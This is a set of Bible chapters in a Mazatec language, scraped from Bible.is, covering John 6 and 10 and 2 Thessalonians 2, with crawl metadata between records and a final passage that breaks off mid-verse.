30Xi̱ta̱ koi, kitsò‑la̱ Jesús: ―¿Mé kjo̱xkón ndaà xi ko̱kó‑náje̱n mé‑ne k'e̱ nga jcha̱‑je̱n ko̱kjeiín‑na̱je̱n? ¿Mé xi ma‑lè 'nì? 31Jñà xi̱ta̱ jchínga kjìn‑na̱je̱n tsakjèn i̱nchra̱jín xi 'mì maná, ján i̱'nde i̱t'aà xìn ñánda nangui kixì choòn. Koni s'ín tjít'aà Xo̱jo̱n‑la̱ Nainá nga tsò: \"I̱nchra̱jín xi nchrobá‑ne ngajmiì kitsjaà‑la̱ nga kisìkjèn.\" 32Kiìchja̱ Jesús kitsò‑la̱: ―Xi nguì o̱kixi̱ xi xan‑nò, mìtsà jè Moisés kitsjaà‑nò i̱nchra̱jín xi ngajmiì inchrobà‑ne; jè Na̱'èn‑na̱ xi tsjá‑nò xi nguì i̱nchra̱jín xi ngajmiì nchrobá‑ne. 33I̱nchra̱jín xi tsjá Nainá, jè xi jye itjojen‑ne ngajmiì, jè xi tsjá‑la̱ kjoa̱binachon jñà xi̱ta̱ i̱sò'nde. 34Xi̱ta̱ koi kitsò: ―Na̱'èn, kjit'aà na̱chrjein tjiì‑náje̱n i̱nchra̱jín koi. 35Jesús, kitsò‑la̱: ―'A̱n‑ná i̱nchra̱jín xi síkíjnakon ini̱ma̱‑la̱ xi̱ta̱. Jè xi 'a̱n kji̱nchrobàt'aà‑na̱, mì ti̱ kiì ko̱hijò‑la̱. Jè xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, mì ti̱ kiì ko̱xíndá‑la̱ ni̱ta̱ kjé‑ne. 36Jyeé o̱kixan‑nò, jñò na̱s'ín titsa̱'yaà‑ná mìkiì mokjeiín‑nò. 37Ngats'iì xi̱ta̱ xi 'a̱n tsjá‑na Na̱'èn‑na̱, 'a̱án nchrobát'aà‑na̱; ko̱ jñà xi 'a̱n nchrobát'aà‑na̱ mìkiì ochrjenguia. 38'A̱n, mìtsà koi xá itjojen‑na̱ ngajmiì nga k'oa̱s'ín s'iaàn koni s'ín mejèn‑na. K'oa̱á s'ín sìkitasoàn koni s'ín mejèn‑la̱ Na̱'èn‑na̱ xi kisìkasén‑na. 39Jè xi mejèn‑la̱ Na̱'èn‑na̱ xi kisìkasén‑na̱, nga ni̱jngoò xi̱ta̱ chi̱ja xi 'a̱n tsjá‑na̱. 'A̱n siìkjaáya‑la̱ i̱t'aà ts'e̱ kjoa̱ biyaà k'e̱ nga kjoe̱het'aà na̱chrjein. 40Koi xi mejèn‑la̱ jè xi kisìkasén‑na: ngats'iì xi̱ta̱ xi skoe̱xkon‑na nga Ki'ndí‑la̱ Nainá 'mì‑na ko̱ ko̱kjeiín‑la̱ i̱t'aà ts'a̱n, s'e̱é‑la̱ kjoa̱binachon. 'A̱n siìkjaáya‑la̱ k'e̱ nga kjoe̱het'aà na̱chrjein. 41Jñà xi̱ta̱ judío k'e̱é tsibíts'ia̱ nga kiìchja̱jno‑la̱ Jesús, koií kjoa̱‑la̱ nga kitsò: \"'A̱n‑ná i̱nchra̱jín xi ngajmiì nchrobá‑ne.\" 42Kitsò‑la̱ xíkjín: ―¿A mìtsà jè Jesús, xi ti‑la̱ ma José? Yaxkon‑ná na̱'èn‑la̱ ko̱ nea̱‑la̱. ¿Mé‑ne tsò‑ne nga ngajmiì itjojen‑ne? 43K'e̱é kitsò Jesús: ―Kiì k'oa̱s'ín nokjoàjno‑ná. 44Ni̱jngoò xi̱ta̱ xi ko̱ma kji̱nchrobàt'aà‑na tsà mìtsà jè Na̱'èn‑na̱ xi kisìkasén‑na kji̱nchrobàko̱, mé‑ne nga 'a̱n siìkjaáya‑la̱ k'e̱ nga kjoe̱het'aà na̱chrjein. 45Xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá, k'oa̱á tsò xo̱jo̱n xi kiskiì nga tsò: \"Jè sobà Nainá ko̱kòya yije‑la̱ xi̱ta̱.\" K'oa̱á s'ín ma‑ne nga ngats'iì xi̱ta̱ xi 'nchré‑la̱ Na̱'èn‑na̱ ko̱ xi machi̱ya‑la̱ i̱t'aà ts'e̱, 'a̱án nchrobát'aà‑na̱. 46'Ni̱ sa̱á jngoò xi̱ta̱ xi beèxkon Na̱'èn‑ná. Ta̱jngoò jè beèxkon xi Nainá kisìkasén. 47Xi nguì o̱kixi̱ xi xan‑nò: Jè xi ko̱kjeiín‑la̱ i̱t'aà ts'a̱n s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 48'A̱n‑ná i̱nchra̱jín xi síkíjnakon ini̱ma̱‑la̱ xi̱ta̱. 49Jñà xi̱ta̱ jchínga kjìn‑nò tsakjèn i̱nchra̱jín xi 'mì maná ya̱ i̱'nde i̱t'aà xìn ñánda nangui kixì choòn, ta̱nga tákó k'en‑né. 50Jè i̱nchra̱jín xi k'oa̱ xan‑nò xi nchrobájen‑ne ngajmiì. Ko̱ jè xi ko̱kje̱n i̱nchra̱jín jè mìkiì ki̱yá. 51'A̱n‑ná i̱nchra̱jín xi tíjnakon xi itjojen‑ne ngajmiì. Tsà yá xi ko̱kje̱n i̱nchra̱jín jè, s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. Jè i̱nchra̱jín xi 'a̱n tsja, jè yijo‑na̱. Koií k'oa̱s'ín tsjaà‑na nga 'a̱n ki̱yátjì‑la̱ xi̱ta̱ i̱sò'nde mé‑ne nga kítsa̱jnakon‑ne. 52Jñà xi̱ta̱ judío xki̱ xi ján tsajoóko̱ xíkjín, kitsò: ―¿Kós'ín s'i̱in nga siìkine‑ná yijo‑la̱? 53Jesús kitsò‑la̱: ―Nguì o̱kixi̱í xi xan‑nò. Jñò, tsà mìkiì chji̱ne̱e yijo‑na̱ 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ti̱koa̱ mìkiì s'io̱o jní‑na̱, mìkiì s'e̱‑nò kjoa̱binachon. 54Jè xi ski̱ne̱ yijo‑na̱ ti̱koa̱ skoí jní‑na̱ tjín‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 'A̱n siìkjaáya‑la̱ k'e̱ nga kjoe̱het'aà na̱chrjein. 55Yijo‑na̱, jè xi kixi̱ kjoa̱ xi nguì yijo xi ma chine; koa̱ jè jní‑na̱ jè nandá xi nguì kixi̱ kjoa̱ nga ma 'yò. 56Jè xi ski̱ne̱ yijo‑na̱ koa̱ skoí jní‑na̱, kjit'aà na̱chrjein ya̱ kíjnako̱‑na, ti̱koa̱ 'a̱n kjit'aà na̱chrjein ya̱ tìjna̱kjoòkoa̱a. 57Na̱'èn‑na̱ xi kisìkasén‑na, tíjnakon‑né; ko̱ i̱t'aà ts'e̱‑né nga tìjna̱koan; k'oa̱á ti̱s'ín tjín jè xi ski̱ne̱ yijo‑na̱, i̱t'aà ts'a̱n kíjnakon‑né. 58Jè i̱nchra̱jín xi itjojen‑ne ngajmiì, mìtsà jè xíkjín i̱nchra̱jín maná xi tsakjèn xi̱ta̱ jchínga kjiìn‑nò; nga komà i̱skan, xi̱ta̱ xi tsakjèn, k'en‑né. Ta̱nga jè xi ko̱kje̱n i̱nchra̱jín xi itjojen‑ne ngajmiì, s'e̱é‑la̱ kjoa̱binachon ni̱ta̱ kjé‑ne. 59Jesús k'oa̱á s'ín kiìchja̱ nga tsakóya ya̱ ni'ya i̱ngo̱ sinagoga ya̱ na̱xa̱ndá Capernaum. 60Jñà xi̱ta̱ k'e̱ nga kiì'nchré koni s'ín tsakóya Jesús, kjín ma xi̱ta̱ xi kota'yàt'aà‑la̱ xi kitsò: ―Jñà 'én koi, 'ñó 'in tjín. ¿Yá xi ko̱kjeiín‑la̱? 61Jesús, k'e̱ nga kijtseèya‑la̱ nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ ch'o nchijoóya‑ne 'én xi tsakóya, kitsò‑la̱: ―¿'Én koi, a mì sasén‑nò? 62¿Kós'ín ko̱ma‑ne tsà jcha̱‑ná 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ nga kjímijìn ìjngoò k'a‑na ñánda tìjna̱a nga sa̱ ítjòn? 63Jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi síkíjnakon‑ná. Jè yijo‑ná nìmé chjí‑la̱. 'Én xi 'a̱n okóya‑nò, ts'e̱é Ini̱ma̱ Tsjeè‑la̱ Nainá, ko̱ tsjá‑la̱ kjoa̱binachon ini̱ma̱‑nò. 64Ta̱nga jñò tjín i'nga xi̱ta̱ xinguio̱o xi mìkiì mokjeiín‑la̱. Nga jè Jesús jye tíjiìn‑la̱ kóni skanda tàts'en‑la̱ kjoa̱ yá‑né xi mìkiì ko̱kjeiín‑la̱ ko̱ yá‑né xi si̱ìnga̱tsja i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑la̱. 65Jesús kitsò ìsa̱: ―Koií k'oa̱s'ín kixan‑nò nga ni̱jngoò xi̱ta̱ xi ko̱ma kji̱nchrobàt'aà‑na̱ tsà mìtsà jè Na̱'èn‑na̱ kji̱nchrobàko̱. 66I̱kjoàn kjìn jchán xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús xi tji̱ngui‑la̱ tsibíts'ia̱ nga kiì‑ne íts'i̱n. Mì ti̱ kiì ya̱ chinchimako̱‑ne. 67Jesús kitsò‑la̱ jñà xi̱ta̱‑la̱ xi tejò ma‑ne: ―Jñò, ¿a ti̱koa̱á mejèn‑nò nga onguió? 68Kiìchja̱ Simón Pedro, kitsò: ―Na̱'èn, ¿yá xi onguítji̱ngui‑la̱je̱n? Ji̱‑né xi tjín‑lè 'én xi tsjá kjoa̱binachon. 69Ngaje̱n 'ya‑náje̱n, ti̱koa̱á mokjeiín‑naje̱n nga ji̱‑né xi Cristo, xi Ki'ndí‑la̱ Nainá xi tíjnakon. 70Jesús kitsò‑la̱: ―'A̱n, xó k'oa̱á s'ín jaàjiìn‑nò nga tejò ma‑nò, mé‑ne nga ki̱tjáko̱‑ná. Ta̱nga jñò, ya̱á tíjnajiìn jngoò‑nò xi xi̱ta̱ nei̱í tísíxájiìn ini̱ma̱‑la̱. 71Jesús, jè kiìchja̱ i̱t'aà ts'e̱ Judas, ki'ndí‑la̱ Simón Iscariote. Nga jè si̱ìnga̱tsja Jesús i̱t'aà ts'e̱ xi̱ta̱ kondra̱‑la̱. Jè Judas, xi ya̱ itjojiìn xi̱ta̱‑la̱ Jesús xi tejò ma‑ne.\nSan Juan 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/6","date":"2013-12-10T22:36:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026971\/warc\/CC-MAIN-20131204133346-00028-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":1401,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Ngi 'én kixi̱í ra xian‑no, jè xi̱ta̱ ra mì ya̱ 'faha'sen‑ni ya̱ xo̱tjo̱ba̱ ínchí'bá‑la̱ forrè, jè ra ta xìn 'faha'sen‑kjá‑ni, xi̱ta̱ chijé‑ní; jè ra fìko̱ chijé cho̱. 2Tanga jè ra ya̱ 'faha'sen‑ni ya̱ xo̱tjo̱ba̱ ínchí'bá, jè‑ní ra chji̱ngo̱ ra síkinda̱ jñà forrè. 3Jè ra síkinda̱ xo̱tjo̱ba̱ ínchí'bá‑la̱ forrè kjí'xa̱á‑la̱, ko̱ jè chji̱ngo̱ cho̱ chja̱ 'í‑la̱ nga jngo jngo forrè‑la̱, ko̱ jñà forrè 'nchréjtaá‑la̱ jè ni‑la̱; a̱kjòn bachrje ínchí'bá‑la̱. 4'Kia̱ nga ijye bachrje ijye forrè‑la̱, jè fì ítjòn‑la̱, ko̱ jñà forrè fìtji̱ngi‑la̱ nga̱ 'nchréjta‑la̱ nga jè ni‑la̱. 5Tanga jngo xi̱ta̱ ra mì kì bexkon mì kì ki̱ji̱tji̱ngi‑la̱, ta kjoa̱achingaá‑la nga mì kì 'nchré jta‑la̱ jngo xi̱ta̱ ra kj'ií. 6Jesús, 'koa̱ 'sín tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra mangásòn, tanga mì kì kjòchi̱ya‑la̱ kó'sín tsò‑ni. 7Jesús india ko̱ kitsò‑ila̱: ―Ngi 'én kixi̱í ra ko̱xin‑no. 'A̱án‑ná xo̱tjo̱ba̱ ínchí'bá ñánda̱ nga 'faha'sen‑ni forrè. 8Nga'tsì jñà ra 'ji ítjòn‑na, xi̱ta̱ chijé‑ní, jñà ra fìko̱ chijé cho̱; ko̱ jñà forrè mì kì kií'nchréhijon‑la̱. 9'A̱n‑ná jè xo̱tjo̱ba̱; jè ra a̱'ta tsa̱'a̱n kjoa̱ha'sen‑ni ko̱tojiín ta mé kjo̱hi'in‑nioo̱. 'Koa̱á 'sín ko̱ma koni jngo forrè ra ko̱'ki 'faha'sen ko̱ ko̱'ki bitjo ínchí'bá‑la̱ ko̱ sakó‑la̱ xka̱ ijñá ra bakjèn. 10'Jè ra chijé, ta kií xá 'fiì‑ni nga síchijé, nga 'fiì sí'ken ko̱ nga 'fiì síkitsóñà; tanga 'a̱n, kií xá 'jíi̱‑na nga kata'se‑najiòn kjo̱binachon ra mì fehe'ta; mé‑ni nga nda si̱tsjako̱‑no jè kjo̱binachon ra 'a̱n tsja‑no. 11'A̱n‑ná jè chji̱ngo̱ ra nda kjòn ko'ndá forrè. Jè chji̱ngo̱ ra nda kjòn ko'ndá forrè, chi̱ba̱‑lá sí'ken‑tjì‑la̱ ijo‑la̱ jñà forrè‑la̱. 12Jè xi̱ta̱ ra ta tímachjí‑la̱ nga ko'ndá forrè, 'kia̱ nga be nga nchrabá jè tsi̱jén tà isa̱á tsjin jnchro jñà forrè ko̱ a̱kjòn fahachinga, nga̱ ki, mì tsa ngi chji̱ngo̱ cho̱‑jìn ko̱ mì tsa 'tse̱‑jìn jñà forrè. Ko̱ jè tsi̱jén, a̱kjòn tsabá'ñó jñà ndí forrè, jndíi̱ ra ján síkjahachinga. 13'Jè xi̱ta̱ chi̱'nda ra̱kìi̱, kií fahachinga‑ni nga ta jè chjí‑la̱ kájno‑la̱, mì tsa jñà 'sín kinda̱ jñà forrè. 14‑ 15'Koni 'sín jè Nainá ra Na̱'ìn‑na̱ bexkon‑na ti̱'koa̱á bexkon‑te ra jè, ko̱ 'koa̱á ti̱'sín bexkon‑te forrè‑na̱ ko̱ bexkon‑te‑na ra jñà. 'A̱án‑ná chji̱ngo̱ ra nda síkinda̱ ko̱ tíjna̱nda‑na nga si̱'kén‑tjì‑la̱ ijo‑na̱ a̱'ta 'tse̱ forrè‑na̱. 16Tjín‑isa‑na forrè ra mì tsa i̱ ínchí'bá‑la̱; ti̱'koa̱á machjeén‑ní nga kji̱nchrabàko̱‑tse. Jñà, kji̱'nchréhijon‑na, jngoó ínchí'bá ko̱ma‑ni ko̱ jngoó chji̱ngo̱ 'se̱‑la̱ ra si̱ìkinda̱. 17'Jè Na̱'ìn‑na̱ tsjakeé‑na ta nga̱tjì‑la̱ nga̱ tsja‑ná ijo‑na̱ nga ki̱yáa̱, ko̱ maá india kóti̱jnakon‑na a̱skan 'kia̱ nga kjoa̱áya‑na. 18Mì tsa yá ra kjo̱'ñó tí'sín‑na nga títsja ijo‑na̱, nga̱ ta kjo̱nda tsa̱'a̱n‑ná nga títsja. Tjí'nde‑na nga ma tsja jè ijo‑na̱, ti̱'koa̱ tjí'nde‑na nga ma kjoa̱áya india‑na. 'Koa̱á 'sín tjín jè kjo̱téxoma ra kitsjà‑na jè Na̱'ìn‑na̱. 19Jñà xi̱ta̱ judío, 'kia̱ nga kií'nchré jñà 'én kìi̱, india ti̱jñà tsakátikjo‑ni. 20Kjìn ma‑ni ra kitsò: ―¿Mé‑ni ko̱'ki xi̱ta̱ ra na'yá‑la? Inìma̱ 'cho‑la̱ ni̱í tjíjin ya̱ inìma̱‑la̱ ko̱ ská‑la̱. 21Tanga jñà xi̱ta̱ ra i'ka kitsó‑ní: ―Ni̱jngo xi̱ta̱ ma‑la̱ ko̱'sín ki̱chja̱ tsa inìma̱ 'cho‑la̱ ni̱í tjíjin inìma̱‑la̱. ¿A maá‑la̱ xi̱ta̱‑ni̱í ski̱í'xa̱ngi‑ni xko̱n xi̱ta̱ ra xka̱? 22'Kia̱ nga ni̱chjin‑la̱ 'nchán, jngo 'sí bitjo ya̱ na̱xi̱ndá Jerusalén nga jngo nó síkjehe‑isa 'kia̱ nga isindayá‑ni i̱ngo̱. 23Jesús ya̱á tíjna ya̱ i̱ngo̱ ítjòn, ko̱ ya̱á tsá'bangi ya̱ a̱ngi tjo̱ba̱ ra 'mì Salomón. 24Jñà xi̱ta̱ judío tsincha jngo tjindi‑la̱ nga kitsò‑la̱: ―¿Skanda kjiá jcha̱ kjòn‑ji̱n yá kjòn‑ni ra ji̱? Ko̱'tìn kjòn‑náji̱n, ¿a ji̱‑ní ra Cristo [ra xá Nainá isìkasén‑ni]? 25Jesús kitsó‑la̱: ―Ijyeé ko̱'sín kíxian‑no, tanga mì kì makjiín‑no. Jñá‑ní kjoa̱ ra 'siaa̱n koni 'sín nga tsatéxoma‑na jè Na̱'ìn‑na̱, jñá‑ní ra nda síkixi̱ya kjoa̱; 26tanga ra jiòn mì kì makjiín‑no, ta nga̱tjì‑la̱ mì tsa ndí forrè‑na̱ ma jiòn. 27Jñà ra ndí forrè tsa̱'a̱n, 'nchréjta‑na, ko̱ 'a̱n bexkon‑ná ko̱ ya̱á fìtji̱ngi‑na. 28'A̱án tsja‑la̱ kjo̱binachon ra mì kì fehe'ta ni̱ ta kjiá‑nioo̱; ko̱ ni̱kjiá jchi̱ja ni̱ ta mé ni̱chjin‑nioo̱; ko̱ ti̱'koa̱á ni̱yá ra ma kjoa̱á'an‑na. 29Jè Na̱'ìn‑na̱ ra isìnga̱tsja‑na, jè tíjna ítjòn‑la̱ ta yá‑isa‑nioo̱, ko̱ ni̱yá ra ma kjoa̱á'an‑ya a̱ya tsja Na̱'ìn‑na̱. 30Jè Na̱'ìn‑na̱ ko̱ ra 'a̱n jngoó ma‑naji̱n. 31Jñà xi̱ta̱ judío iskábé na̱jo̱ nga mejèn‑la̱ ko̱sèn‑la̱ Jesús. 32Tanga Jesús kitsó‑la̱: ―Taxki̱ kjokjìn tjín‑ni kjoa̱ ra nda tjín ra tí'siaa̱n ya̱ ngixkòn jiòn ra a̱'ta 'tse̱ Na̱'ìn‑na̱ nchrabá‑ni. ¿Ñáa̱‑ni kjoa̱ ra nga̱tjì‑la̱ nga ko̱'sín na̱jo̱ mejèn binè‑nájiòn? 33Kiìchja̱á jñà xi̱ta̱ judío, kitsò: ―Mì tsa ki na̱jo̱ kínè‑laji̱n nga nda tjín kjoa̱ ra 'nì. Ta ki‑ní nga jñà 'én ra nakjí, jè Nainá tjinakjoájno‑la̱. Ji̱, kì taxki̱ xi̱ta̱‑ní, ko̱ mé‑ni Nainá tji'mi‑la̱ ijo‑li. 34Jesús kitsó‑la̱: ―Jè xa̱jo̱n‑la̱ Nainá ra chitá'yá jiòn, 'koa̱á 'sín tíchja̱ ñánda̱ nga tsò Nainá: \"'A̱n, 'koa̱á 'sín xiaa̱n, nainá‑nájiòn.\" 35Koni 'sín tíchja̱ jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, mì kì ko̱ma ki̱náchrjengieé; nga̱ ki, ya̱á tíchja̱ nga jè Na̱'ín‑ná, nainá kitsò‑la̱ jñà xi̱ta̱ ra itjábé‑la̱ 'én‑la̱. 36Tsa 'koa̱á 'sín tsi'kìn‑la̱ xi̱ta̱ kìi̱, ¿mé‑ni bixó‑najiòn nga Nainá tíchjàjno‑la̱ 'kia̱ nga xiaa̱n nga I'ndí‑la̱ Nainá‑ná ra 'a̱n, nga 'a̱án kitsjà xá‑na̱ jè Na̱'ìn‑na̱ nga isìkasén‑na i̱ i̱sà'nde? 37Kì tà chjàn makjiín‑no ra a̱'ta tsa̱'a̱n, tsa mì kì ko̱'sín tí'siaa̱n koni 'sín 'sín jè Na̱'ìn‑na̱. 38Tanga tsa 'koa̱á 'sín tí'siaa̱n, katakjiín‑no a̱'ta 'tse̱ kjoa̱ ra 'siaa̱n, ni̱'sín mì kì makjiín‑no ra a̱'ta tsa̱'a̱n, mé‑ni nga katamachi̱ya‑no ko̱ ti̱'koa̱á katakjiín‑no nga jè Na̱'ìn‑na̱ ko̱ ra 'a̱n ta jngoó ma‑naji̱n. 39Jñà xi̱ta̱ judío mején‑la̱ nga itsabá'ñó india‑ni Jesús, tanga i̱'koa̱á ra itjangátsja, a̱kjòn kijì Jesús. 40Ya̱á kijì india‑ni ya̱ ra ijngoa ndáje̱ Jordán, ya̱ ñánda̱ tsatíndá ítjòn xi̱ta̱ jè Juan, ko̱ ya̱á tsikijna. 41'Ñó kjìn xi̱ta̱ ijchòtji̱ngi‑la̱. Jñà xi̱ta̱ kìi̱ kitsó‑ní: ―Kixi̱í kjoa̱, jè Juan, ni̱jngo kjo̱xkón ra nda tjióo̱n ki'sìn, tanga nga'tsì 'én ra ko̱'sín kiìchja̱ a̱'ta 'tse̱ xi̱ta̱ ra kìi̱, 'én kixi̱‑ní koni 'sín kitsò. 42Ko̱ taxki̱ kjín xi̱ta̱ kjokjiín‑la̱ ra a̱'ta 'tse̱, ya̱ i̱'nde ra̱kìi̱.\nSan Juan 10","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/10","date":"2013-12-13T07:53:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164919525\/warc\/CC-MAIN-20131204134839-00006-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":907,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè xa̱jo̱n ra kindá‑no 'ndi̱ 'ndi̱‑ni̱ jè‑ní 'kia̱ nga kj'i̱í Jesucristo ra tíjna ítjòn‑ná ko̱ 'kia̱ nga ki̱íxkóya‑ná nga ya̱ ki̱tsa̱jnake̱é. 'Koa̱á 'sín síjé‑no, 'ndsé ko̱ tichjeé, 2kì tà chjàn taxki̱ nikaatjìya‑la kjo̱bítsjen‑no, ko̱ kì tà chjàn skon‑la, tsa yá ra ko̱'sín ki̱tso̱‑no nga 'koa̱á 'sín ijye kinakjoáya‑ji̱n, ko̱ nga jngoó 'én ki'tsì‑ji̱n ko̱ nga jngoó xa̱jo̱n inikasén‑ji̱n ñánda̱ nga tsò nga ijyeé 'ji india‑ni Na̱'ín‑ná. 3Kì bi'nde yá ra taxki̱ sko̱ónda̱cha̱‑no; nga̱ skanda 'kia̱á kj'i̱í jè Na̱'ín‑ná 'kia̱ nga ki̱jchò ni̱chjin nga 'ñó kondra̱ kítsa̱jna‑la̱ Nainá xi̱ta̱; ko̱ ko̱tsíjen jngo xi̱ta̱ ra 'ñó 'cho 'sín ra xá ko̱'sín ijye tjínè‑la̱ nga si̱ìkjiín kjo̱hi'in skanda ta kjiá‑nioo̱. 4Ko̱ jè xi̱ta̱ ra̱kìi̱, 'ñó kondra̱ kíjna‑la̱ nga'tsì ra Nainá tsò‑la̱ xi̱ta̱ ko̱ ta mé‑isa‑nioo̱ ra jñà xi̱ta̱ bexkón; ko̱ 'koa̱á 'sín ki̱tso̱ nga jè tíjna ítjòn. Ko̱ skanda ki̱jchò katéxoma‑nì ya̱ i̱ngo̱ ítjòn‑la̱ Nainá nga ko̱'sín ki̱tso̱ nga jè sabá Nainá. 5¿A mí bítsjen‑no nga 'koa̱á 'sín kíxian‑no 'kia̱ nga ya̱ tsakáti̱jnako̱‑no? 6Ijyeé 'ya‑nájiòn 'ndi̱‑ni̱ mé ra tíbatéchjà‑la̱ jè xi̱ta̱ 'cho ra̱kìi̱; nga̱ ki, 'kia̱ kjón tjínè‑la̱ nga kj'i̱í, 'kia̱ nga ki̱jchò chi̱ba̱‑la̱. 7Nga̱ jè nga'ñó‑la̱ kjoa̱'cho, ijyeé tísíxá'ma, tanga tjín jngo ra tíbatéchjà‑la̱, ko̱ ta jè chija nga tjáhixìn, 8ko̱ 'kia̱á ko̱tsíjen jè xi̱ta̱ 'cho ra̱kìi̱; a̱kjòn jè Jesús ra tíjna ítjòn, ta ma ta jé jta̱ ra ki̱tjo‑ni tsa'ba tsjá‑la̱ kjo̱hi'in skanda ta kjiá‑nioo̱; ko̱ jè nga'ñó ra tje̱n‑ko̱ kjoa̱jeya‑la̱ Jesús 'kia̱ nga kj'i̱í india‑ni, kjoa̱híxìn tsje‑la̱ nga'ñó ra tjín‑la̱ xi̱ta̱ 'cho ra kìi̱. 9Jè xi̱ta̱ 'cho ra̱kìi̱, 'kia̱ nga kj'i̱í, jé nga'ñó‑la̱ xi̱ta̱‑ni̱í tje̱n‑ko̱. Kjín sko̱ya kjo̱xkón ko̱kòn ra mì tsa kixi̱ kjoa̱. 10Ko̱ kjín ndi̱yá‑la̱ kjoa̱'cho si̱ìchjeén nga sko̱ónda̱cha̱‑la̱ jñà ra ijye ko̱'sín tjínè‑la̱ nga kjo̱hi'in ko̱ko̱‑la̱. Ta nga̱tjì‑la̱ nga mì kì tsjake ra kjoa̱kixi̱ ra ma ko̱chrjekàjin kjo̱hi'in ra kjoa̱ 'tse̱ jé‑la̱. 11'Koa̱á ma‑ni nga jè Nainá si̱ìkasén jngo‑la̱ nga'ñó ra ki̱ìndisoko̱ mé‑ni nga katamakjiín‑la̱ jè ra kjoa̱ndiso, 12ko̱ nga ya̱ katakanè jé‑la̱ nga'tsì jñà ra mì kì makjiín‑la̱ ra kjoa̱kixi̱, nga ta isa̱á jnchro kjoa̱'cho sísin‑la̱. 13Jiòn 'ndsé ko̱ tichjeé ra 'ñó tsjake‑no Na̱'ín‑ná, ni̱chjin nchijón‑ní nga tjínè‑naji̱n nga ko̱'sín 'kín‑la̱ji̱n Nainá ra a̱'ta tsa̱jiòn nga tse kjo̱nda kata'se‑la̱ ra jè, ta nga̱tjì‑la̱ nga jè, xá 'koa̱á 'sín ijye tsjahíjin‑no skanda ti̱'sa̱ tjà'tsin‑la̱ kjoa̱. Kií xá tsjahíjin‑no nga ma kítjo̱kajion kjo̱hi'in 'tse̱ jé‑no. Ko̱ 'kia̱ nga jè Inìma̱ Tsje‑la̱ Nainá tísítsje‑no, ko̱ 'kia̱ nga nda makjiín‑no ra kjoa̱kixi̱, 'koa̱á 'sín ma‑ni nga ma kítjo̱kajion kjo̱hi'in. 14Kií xá‑la̱ a̱'ta 'tse̱ 'én nda‑la̱ Cristo ra ji̱n tsi'kèna̱jmíya‑laji̱n nga ko̱'sín kiìchja̱‑najiòn Nainá, mé‑ni nga ti̱'koa̱á kijchòtji̱ngi‑la kjoa̱jeya‑la̱ Jesucristo ra tíjna ítjòn‑ná. 15'Koa̱á ma‑ni ndí 'ndsé ko̱ tichjeé, ko̱'sín kixi̱ ti̱tsa̱jna jiòn koni 'sín nga makjiín‑no, ko̱ kì jmitákon jiòn koni 'sín tjín kjoa̱kixi̱‑la̱ Cristo ra tsakon‑ya‑laji̱n, a jñá‑ní 'én ra ji̱n ko̱tsi'kìn sabà‑laji̱n, o̱ ra jñá‑ní ra tjí'ta xa̱jo̱n ra inikasén‑laji̱n. 16Jè sabà Jesucristo ra tíjna ítjòn‑ná ko̱ jè Nainá ra Na̱'ìn 'mí‑lá, ra 'ñó kjotsjake‑ná ko̱ ra síjetakón‑ná skanda ta mé ni̱chjin‑ni, ko̱ ra tsjá‑ná jngo kjoa̱nda ra chiñá‑lá ra ta kjo̱tjò 'tse̱, 17jè katatsjá nga'ñó‑la̱ inìma̱‑no ko̱ katasíkixi̱yanda‑no nga ma 'sia̱an nga'tsì kjoa̱ ra nda tjín ko̱ ki̱nákjoa̱a nga'tsì 'én ra nda tsò.\n2 Tesalonicenses 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Thess\/2","date":"2013-12-13T03:31:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164836485\/warc\/CC-MAIN-20131204134716-00099-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":517,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.325,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga'tsì jñà xi̱ta̱ tsasítje̱n; kiìko̱ Jesús ya̱ ñánda̱ tíjna jè Pilato. 2'Kia̱ nga ijchòko̱ ya̱ ngixko̱n Pilato, jñà xi̱ta̱ tsikí'tsia̱ nga tsakángi, kitsò: ―Kijcha'tín‑náji̱n jè xi̱ta̱ ra̱kìi̱, nga kj'ií ndi̱yá fìko̱ xi̱ta̱ na̱xi̱ndá‑ná. 'Koa̱á 'sín tsò nga mì‑ró kì kíchjítjié tsajmì ra a̱'ta 'tse̱ 